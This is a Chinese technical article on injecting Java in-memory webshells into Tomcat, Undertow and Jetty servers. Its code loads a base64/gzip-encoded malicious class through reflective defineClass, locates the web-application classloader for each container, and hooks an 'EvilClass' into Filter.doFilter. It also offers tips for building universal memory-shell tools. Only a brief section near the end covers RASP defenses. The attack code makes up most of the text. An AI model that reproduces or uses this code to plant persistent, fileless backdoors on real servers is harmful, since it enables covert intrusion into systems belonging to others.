任意类加载环境下注入内存马
字数 1009 2025-08-29 22:41:32
任意类加载环境下注入内存马技术详解
一、内存马注入基础原理
在JVM中,每个类都有其所属的类加载器。在Java内存马注入场景下,攻击者通常会制作一个恶意类并通过ClassLoader.defineClass方法注入到JVM中,然后通过特定方法注册到Web组件上以供访问。
1.1 基本注入方法
private Object getShell(Object context) throws Exception {
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
if (classLoader == null) {
classLoader = context.getClass().getClassLoader();
}
try {
return classLoader.loadClass(getClassName()).newInstance();
} catch (Exception e) {
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass",
byte[].class, int.class, int.class);
defineClass.setAccessible(true);
Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
return clazz.newInstance();
}
}
这种方法看似完善,但实际上存在以下问题:
- 依赖请求线程的上下文类加载器(
Thread.currentThread().getContextClassLoader()) - 在非请求线程环境下会失效
context.getClass().getClassLoader()在某些场景下不可用
二、类加载器选择优化
2.1 Tomcat中的类加载机制
在Tomcat中,ApplicationFilterConfig类的getFilter方法揭示了关键类加载逻辑:
Filter getFilter() throws ClassCastException, ClassNotFoundException,
IllegalAccessException, InstantiationException, ServletException {
if (this.filter != null) {
return this.filter;
} else {
String filterClass = this.filterDef.getFilterClass();
ClassLoader classLoader = null;
if (filterClass.startsWith("org.apache.catalina.")) {
classLoader = this.getClass().getClassLoader();
} else {
classLoader = this.context.getLoader().getClassLoader();
}
Class clazz = classLoader.loadClass(filterClass);
this.filter = (Filter)clazz.newInstance();
return this.filter;
}
}
高版本Tomcat通过DefaultInstanceManager实现类似功能:
public Object newInstance(String className) throws IllegalAccessException,
InvocationTargetException, NamingException, InstantiationException,
ClassNotFoundException, IllegalArgumentException, NoSuchMethodException,
SecurityException {
Class<?> clazz = loadClassMaybePrivileged(className, classLoader);
return newInstance(clazz.getConstructor().newInstance(), clazz);
}
2.2 Servlet规范中的类加载器
Servlet 3.0规范中定义了ServletContext#getClassLoader方法:
/**
* Get the web application class loader associated with this ServletContext.
*/
public ClassLoader getClassLoader();
这为我们提供了获取Web应用类加载器的标准方式。
三、通用类加载器获取方法
基于以上分析,可以编写通用的Web应用类加载器获取方法:
private ClassLoader getWebAppClassLoader(Object context) {
try {
return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
} catch (Exception e) {
Object loader = invokeMethod(context, "getLoader", null, null);
return ((ClassLoader) invokeMethod(loader, "getClassLoader", null, null));
}
}
使用该方法改进后的内存马注入方法:
@SuppressWarnings("all")
private Object getShell(Object context) throws Exception {
ClassLoader webAppClassLoader = getWebAppClassLoader(context);
try {
return webAppClassLoader.loadClass(getClassName()).newInstance();
} catch (Exception e) {
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass",
byte[].class, int.class, int.class);
defineClass.setAccessible(true);
Class<?> clazz = (Class<?>) defineClass.invoke(webAppClassLoader,
clazzByte, 0, clazzByte.length);
return clazz.newInstance();
}
}
四、不同中间件的实现
4.1 Undertow实现
private ClassLoader getWebAppClassLoader(Object context) throws Exception {
try {
return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
} catch (Exception e) {
Object deploymentInfo = getFieldValue(context, "deploymentInfo");
return ((ClassLoader) invokeMethod(deploymentInfo, "getClassLoader", null, null));
}
}
4.2 Jetty实现
public ClassLoader getWebAppClassLoader(Object context) throws Exception {
try {
return ((ClassLoader) invokeMethod(context, "getClassLoader"));
} catch (Exception e) {
return ((ClassLoader) getFieldValue(context, "_classLoader"));
}
}
五、ASM通用内存马Agent实现
为了编写通用的ASM内存马Agent,作者尝试了两种方式:
- 直接植入方式:
@Override
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain){
if(new EvilClass().equals(new Object[]{request, response, chain})){
return;
}
// other business code
}
- 系统类加载器方式(高版本JDK可能受限):
@Override
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain){
if(Class.forName("org.example.EvilClass", true,
ClassLoader.getSystemClassLoader()).newInstance().equals(new Object[]{request, response, chain})){
return;
}
// other business code
}
六、防御措施
-
RASP防护:
- 动态类加载分析
- 恶意类扫描
- 恶意类清除
- 常见Web漏洞防护
-
推荐方案:
- 使用靖云甲RASP加固高风险应用
- 在护网行动等关键时期加强防护
七、总结与最佳实践
- 在内存马注入时,优先使用
ServletContext#getClassLoader获取Web应用类加载器 - 对于低版本Servlet容器,通过反射获取
context.getLoader().getClassLoader() - 不同中间件需要适配不同的类加载器获取方式
- 在编写通用内存马工具时,要考虑各种边缘情况和兼容性问题
- 任何警告信息都应引起重视,可能隐藏着潜在问题
完整实现可参考MemShellParty项目。